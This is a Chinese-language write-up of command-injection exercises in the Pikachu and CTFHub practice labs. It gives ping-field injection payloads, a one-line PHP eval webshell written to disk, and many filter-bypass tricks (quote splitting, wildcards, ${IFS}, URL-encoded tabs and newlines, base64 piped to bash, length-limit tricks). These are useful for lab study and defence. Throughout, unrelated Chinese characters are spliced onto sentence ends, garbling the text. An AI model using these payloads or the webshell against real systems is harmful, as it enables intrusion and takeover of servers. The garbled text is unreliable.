RCE遠程命令/代碼執(zhí)行漏洞
RCE英文全稱:remote command/code execute环揽。分為遠程命令執(zhí)行ping和遠程代碼執(zhí)行evel宅此。 漏洞出現(xiàn)的原因:沒有在輸入口做輸入處理匪凉。我們常見的路由器蔑赘、防火墻式矫、入侵檢測等設(shè)備的web管理界面上乡摹,一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP采转,提交后聪廉,后臺會對該IP地址進行一次ping測試,并返回測試結(jié)果故慈。其實這就是一個接口板熊,可以讓攻擊者直接向后臺服務(wù)器遠程注入操作系統(tǒng)命令或者代碼,從而控制后臺系統(tǒng)察绷。
常用的管道符
pikachu(ping)
一個文本框干签,輸入ip地址可以進行ping操作,查看源碼拆撼,發(fā)現(xiàn)隊輸入的”ip“地址沒有進行過濾
利用管道符就可以實現(xiàn)任意代碼執(zhí)行容劳。
pikachu(echo)
這個也是一樣的,只是后臺的命令是echo闸度,沒有過濾的話任何內(nèi)容都可以執(zhí)行竭贩。
輸入框中輸入phpinfo();
,執(zhí)行結(jié)果如下圖:
一般常用的命令執(zhí)行語句有
system('ls'); (system('ls /'); )
system('cat flag'); (system('cat /flag'); )
-
127.0.0.1;cat 2160627659946.php | base64
(ping 情況下莺禁,直接cat不出來時考慮是有特殊字符留量,base64編碼一下)
RCE與文件包含
filter讀源碼:php://filter/read=convert.base64-encode/recource=index.php
ctfhub:?file=php://filter/resource=/flag
CTFHUB 命令注入
和pikachu的類似也是一個最簡單的沒有過濾的ping命令執(zhí)行,試一下127.0.0.1;ls
可以看到有個奇怪的文件
但是嘗試一下cat哟冬,沒有輸出楼熄,估計是有字符編碼無法顯示出來。
(其實這個時候右鍵看一下源碼就看到flag了)
將文件內(nèi)容base64編碼后輸出:127.0.0.1;cat xxxxx.php|base64
看到了一串base64編碼內(nèi)容浩峡,解碼即可獲得flag孝赫。
方法二
可以自己注入一個后門,然后蟻劍連接一下红符。
將一段腳本寫入555.php:127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>">555.php
(一定要注意"$"前面的"")
ls可以看見這個文件青柄,后面就是拿出菜刀了伐债,略。
這個方法二也可以應(yīng)用與下面幾個存在過濾的情況下致开。
常見的過濾及繞過技巧
過濾cat
反斜杠 : 例如 ca\t flag.php
單(雙)引號: 例如 ca''t flag.txt
$1:例如ca$1t flag.txt
拼接:例如 a=c;b=at;b flag.txt
-
通配符(? 或*):例如:ca? flag.txt
/???會去尋找 / 目錄下的三個字符長度的文件峰锁,正常情況下會尋找到/bin,然后/?a會優(yōu)先匹配到/bin/cat,就成功調(diào)用了cat命令双戳,然后后面可以使用正常的通配符匹配所需讀的文件虹蒋,如flag.txt文件名長度為8,使用8個?’’飒货,此命令就會讀取所有長度為8的文件魄衅。
/???/?[a][t] ?''?''?''?''?''?''?''?''
-
讀取文件的替代指令:more cat tac head tail less more
https://www.cnblogs.com/ur10ser/p/7624367.html
tac 從最后一行倒序顯示內(nèi)容,并將所有內(nèi)容輸出 more 根據(jù)窗口大小塘辅,一頁一頁的現(xiàn)實文件內(nèi)容 less 和more類似晃虫,但其優(yōu)點可以往前翻頁,而且進行可以搜索字符 head 只顯示頭幾行 tail 只顯示最后幾行 nl 類似于cat -n扣墩,顯示時輸出行號 tailf 類似于tail -f
選擇一個方法哲银,還是base64一下輸出,之后解密一下就有flag了呻惕。
過濾空格:
${IFS}($IFS$9)($IFS):cat${IFS}flag.txt
<> (<) (>):cat<>flag.txt
{cat,flag}
-
%09 :cat%09flag.txt
(這種編碼繞過的方式要在url框中輸入荆责,在題目中的文本框中輸入無效)
其他繞過
反引號(內(nèi)聯(lián)執(zhí)行):反引號和$()都可用來表示命令,被包含的字符串會被當(dāng)做命令首先執(zhí)行亚脆。
-
base64:base64( "cat test.php")=Y2F0IHRlc3QucGhw
//將base64解碼后的命令通過管道符傳遞給bash echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
兩個結(jié)合起來
//反引號包含base64解碼后的命令
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
- "?>" 代替 ";" :在php中可以用?>來代替最后一個
(php遇到定界符關(guān)閉標志時做院,會自動在php語句之后加上一個分號)
長度限制過濾
-
>>:使用>>每次添加一部分命令到文件中,然后使用cat r | bash執(zhí)行命令
echo -n "cmd1" >> r; echo -n "cmd2" >> r; cat r | bash
-
\:使用換行執(zhí)行和ls -t繞過長度限制
ls -t將文件按時間排序輸出
sh命令可以從一個文件中讀取命令來執(zhí)行root@kali:~/桌面# echo "flag{hahaha}" > flag.txt root@kali:~/桌面# touch "ag" root@kali:~/桌面# touch "fl\\" root@kali:~/桌面# touch "t \\" root@kali:~/桌面# touch "ca\\" root@kali:~/桌面# ls -t 'ca\' 't \' 'fl\' ag flag root@kali:~/桌面# ls -t >a #將 ls -t 內(nèi)容寫入到a文件中 root@kali:~/桌面# sh a a: 1: a: not found flag{hahaha} a: 6: flag.txt: not found
運算符過濾
過濾"/" :用cd進入目錄即可
過濾“濒持;”键耕,“|”,“||”弥喉,“&”
小結(jié):CTFHUB 綜合過濾:
%0a代替換行郁竟,%09代替TAB鍵(因為flag被過濾了玛迄,所以我們通過TAB來補全flag_is_here)
%5c代替\(用\來分隔開cat由境,因為cat也被過濾了)
127.0.0.1%0als%09*
:tab鍵可以自動補齊后面的內(nèi)容ls%09*可查看所有的文件
payload:ip=127.0.0.1%0Acd%09*_is_here%0Ac%27%27at%09*.php
參考資料:
https://blog.csdn.net/qq_43814486/article/details/90020139
https://www.icode9.com/content-4-812303.html
https://www.cnblogs.com/0yst3r-2046/p/12600073.html
https://blog.csdn.net/weixin_42373789/article/details/113451481